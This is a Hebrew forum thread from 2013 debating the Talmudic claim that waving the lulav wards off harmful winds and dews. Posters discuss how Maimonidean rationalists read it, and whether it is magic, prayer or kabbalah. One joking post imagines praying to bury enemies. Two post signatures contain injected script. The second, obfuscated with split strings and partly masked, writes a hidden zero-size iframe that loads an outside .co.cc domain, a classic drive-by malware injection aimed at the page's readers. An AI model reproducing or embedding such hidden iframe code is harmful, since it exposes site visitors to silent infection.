| נשלח ב-20/9/2013 00:05 |
|
| |
נענוע ארבעת המינים-למתנגדי הקבלה??
מוליך ומביא,מעלה ומוריד לעצור רוחות וטללים רעים,[סוכה דף לז:], ושאלתי היא כיצד מסתדרים הרציונלים [שקוראים לעצמם רמב"מיסטים] עם דברים כגון אלו.
|
|
|
|
| נשלח ב-20/9/2013 04:18 |
|
| |
| מצדרביעי כתב: |  | | מוליך ומביא,מעלה ומוריד לעצור רוחות וטללים רעים,[סוכה דף לז:], ושאלתי היא כיצד מסתדרים הרציונלים [שקוראים לעצמם רמב"מיסטים] עם דברים כגון אלו. |
|
יש הרבה טעמים אחרים שהרציונאליים מאמצים לעצמם אז מה הבעיה ?
|
|
|
|
| נשלח ב-20/9/2013 14:33 |
|
| |
דוקא הרמבם סובר שיש מצוה דאורייתא בנענוע והוא משום שמחה כסיום הרמבם בהלכות ,תחת אשר לא עבדת את ה אלוקיך בשמחה ,וכל המיקל ראש וכו, הרי הרמבם תלה את נתינת הגשמים בעיתם והשלום בארץ כאפשרות לקיים מצוות וכשמקיים את המצוה בשמחה ממילא הוא עוצר רוחות רעות וטללים רעים ובחג נידונים על המים, ובכל זאת הטעם הרווח במוליך ומביא מעלה ומוריד כדי להעיד שהקב,ה מושל בכל הרוחות,
|
|
|
|
| נשלח ב-20/9/2013 15:36 |
|
| |
סוד נענוי הלולב שהתגלה לי בחזיון כשראיתי את כל עם ישראל מנענים- וסוד זה מסור רק לחברי הפורום.
מנענע למזרח ואומר כאן יש לנו שונאים. מנענע למערב ואומר כאן יש לנו שונאים. לדרום כנ"ל ולצפון כנ"ל מרים את הלולב כלפי מעלה ומנענע ואומר- הודות לך ריבונו של עולם, נקבור את כולם באדמה. ומנענע כלפי מטה לקיים את מה שאמר.
|
|
|
|
| נשלח ב-20/9/2013 16:40 |
|
| |
לצערי השנה לא הספקתי לעיין בעניין.
אך בשנים עברו דומה שמסקנתי הייתה שהנענועים הם סוג של ריקוד ושמחה הקשורים כמובן בשמחת האסיף כמפורש בפסוקי התורה. גירוש הטללים רעים יכול להתפרש כהמשך לדברים הנ"ל כסוג של חוויה או תחושה הקשורה בשמחה, וכתולדה מהפניית יצר השמחה מ'לפני השדה', לשמחה 'לפני השם'.
בעמידה לפני השדה, הבוס הוא האדם, או לחלופין הכאוס הטבעי, שבתוך כאוס זה ישנן תופעות שיכולות להיות מיוחסות לרוחות וטללים, או בנוסח אחר, לפגעי טבע.
בניגוד לעמידה לפני השם [הנוכח גם בבית המדרש, אך גם, ולא פחות, בשדה], שבעמידה מסוג זה הכאוס הוא אלוקי, הטבע הוא אלוקי. כאשר שמחים לפני אלוקים, הרוחות רעות [=הכאוס הטבעי] מקבלות משמעות אחרת. יש הרואים במשמעות האחרת הנ"ל, גירוש הטללים רעים.
יתכן שזה משתלב עם הרמב"ם שהביא ביליצר. יתכן שלא.
כמובן שיש בזה נפק"מ למעשה, האם בשעת הנענועים צריך להיות עם ארשת פנים צוהלת, או קודרת ומורתתת. דוק.
תוקן על ידי דה_וינצי2 ב- 20/09/2013 16:43:56
|
|
|
|
| נשלח ב-20/9/2013 17:24 |
|
| |
מצד רביעי
יפה שאלת.
ושתי נקודות לשים אליהן לב:
א. כל התליה של תוצאות והשפעות על העולם במעשה מצווה, האם זה בהתאם לרוח התורה או לא?
עד שאתה שואל על נענועי הלולב, אפשר לשאול על ניסוך המים. וכי איננו מנסכים על מנת שתתברך לנו שנה טובה?
אפשר לראות זאת באופן מאגי, וכך גם אני נטיתי לקרוא את הדברים, ואפשר לראות זאת כפי שהגמרא מתפרשת - בעיני לפחות - לגבי ניסוך המים. אנו מבקשים וה' מבטיח: עשו כדי להראות אמונה ותענו (מלשון תקבלו מענה).
כלומר, זה לא מאגיה אלא תפילה ולא עוד אלא הבטחה משמים כדי להקל על הפחד הקיומי של האדם והחקלאי במיוחד.
ב. יש הבדל בין מאגיה לבין קבלה.
מאגיה נמצאת כאשר אדם עושה מעשה ומקבל תוצאות שאינן קשורות לפי ידיעותינו המדעיות וגישתנו המדעית. למשל, המאגיה מבוססת, כדברי מחקרים ידועים שלא אאריך בציטוט (ואין ספרי לפני) על
שימוש בשמות במקום בדברים (אם אני יודע את שמו של ראובן שמעונוביץ, אני יכול לשלוט בו ולחולל לו דברים).
מגע ועשיה בדברים שקשורים אליו. (אם יש לי בובה של ר.ש. עם חלק ציפורן שלו אני יכול לכשפו).
חלק מאמונות אלו עוסקות במעשים שמשפיעים על העולם. ומסתבר שיש להרחיב את הרשימה של שני הסוגים הראשונים גם לעשיה על ידי "השפעות כוכבים" וכפי שמתאר זאת דב שוורץ בספריו על אמונות המאגיה היהודית.
וזה כבר סוג נוסף שעובד על ידי השבעות והפעלת כוחות על, וכאן יש גם הורדת מלאכים והשבעתם ועוד.
נכון שיש קשר ואולי התפתחות היסטורית שמובילה מן מאמיני המאגיה (כגון אלו שהשאירו לנו את ספר "חרבא דמשה" עם השבעות, וזה מן המאות הראשונות לספירה) לבין מוטיבציות קבליות ופרקטיקות קבליות (מניעים ומעשים בעברית). אבל אם מתבוננים בתיאוריה הקבלית של הזוהר ושל האר"י, וזה מה שנקרא אצלנו "קבלה" אז קבלה לחוד ומאגיה לחוד.
אני חוזר על שאלתך עם התשובה:
שאלת כיצד תתבאר הגמרא שמציעה לנענע בלולב כדי להשפיע על "רוחות רעות".
הסברתי שזו צורת בקשה בעניני גשמים (ולא רוחות רעות במובן של שדים רעים). ואין זה שונה עקרונית מניסוך המים, אלא שניסוך המים הוא מעשה המיוחס להלכה למשה מסיני ומקורו מימי התנאים והנענוע הוא חיבוב מצוה ופרשנותו מדברי אמוראים.
אפשר לפרש את הדברים באופן מאגי, וכמדומה שאמונות מאגיות שררו גם בין רבותינו האמוראים, אבל מאגיה לחוד וקבלה לחוד.
וחלק מלהיות עצכחניק, אם יש כזו הגדרה, זה לדעת להודות על האמת, גם אם היא לא תמיד נעימה. ואם רבותינו האמוראים האמינו לפעמים בטעויות, זה מה שיש, ועדיף להסתכל על גדולתם ולא על כשלון שנבע מן התרבות שמסביב.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");>
 |
|
|
|
|
| נשלח ב-21/9/2013 21:15 |
|
| |
כמדומה שישנה כאן טעות בהבנת הנקרא, 'רוחות רעות', לא במובן של 'רוח רעה' אלא רוח שאיננה טובה לגידולים, רוח מזרחית חמה שמייבשת או שמשירה את הפירות בעודם קטנים וכו'. הנענועים הם כמו רוח של סתיו, אבל רוח טובה, ולא רוח רעה המזיקה לפירות. לכן יש לנענע בעדינות, כנגד רוחות רעות.
|
|
|
|
|
| נשלח ב-21/9/2013 23:29 |
|
| |
כל הטקסים שנעשו בסוכות הם טקסים פגאניים להורדת הגשם שהיו נהוגים בתקופה ההיא.גגלו ומצאו.
|
|
|
|
| נשלח ב-22/9/2013 01:59 |
|
| |
| מיימוני כתב: |  |
זה לא מאגיה אלא תפילה ולא עוד אלא הבטחה משמים _________________
שומר פיו ולשונו - שומר מצרות נפשו
******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");> |
|
??? מה בדיוק ההבדל המהותי?
|
|
|
|
| נשלח ב-29/9/2013 19:04 |
|
| |
ההבדל הוא מהותי, הרציונלים רואים. ביהדות כמשרשת אמונות במאגיה, ומקדמת תשוקה לבורא ומימוש צורת האנוש - התעסק במושכלות בפרט האלוקיות - תכלית נזר הבריאה
|
|
|
|
| נשלח ב-30/9/2013 00:41 |
|
| |
יש מצוה ויש טעם למצוה, בכל מצוה אתה, מצד, דורש את טעמה ומחליט אם היא מתאימה? אגלה לך סוד, דעת חכמים בניגוד לרשב"י, שידוע כמחברו האולטימטיבי של 'הזהר', שגם במקום שהטעם לא קיים אנו מחוייבים במצוה. כך שגם אם הטעם כדברי רש"י, הטעם אינו הסיבה לביצוע המצוה על ידי! בכל מקרה רציוס צודק בהחלט, למה נזכרת, מצד, לשאול על נענוע הלולב ולא על התפילה ערב ובוקר וצהריים?
[מתנצל על איחור התגובה, ושלום גם לאלקטרוני]
|
|
|
|
|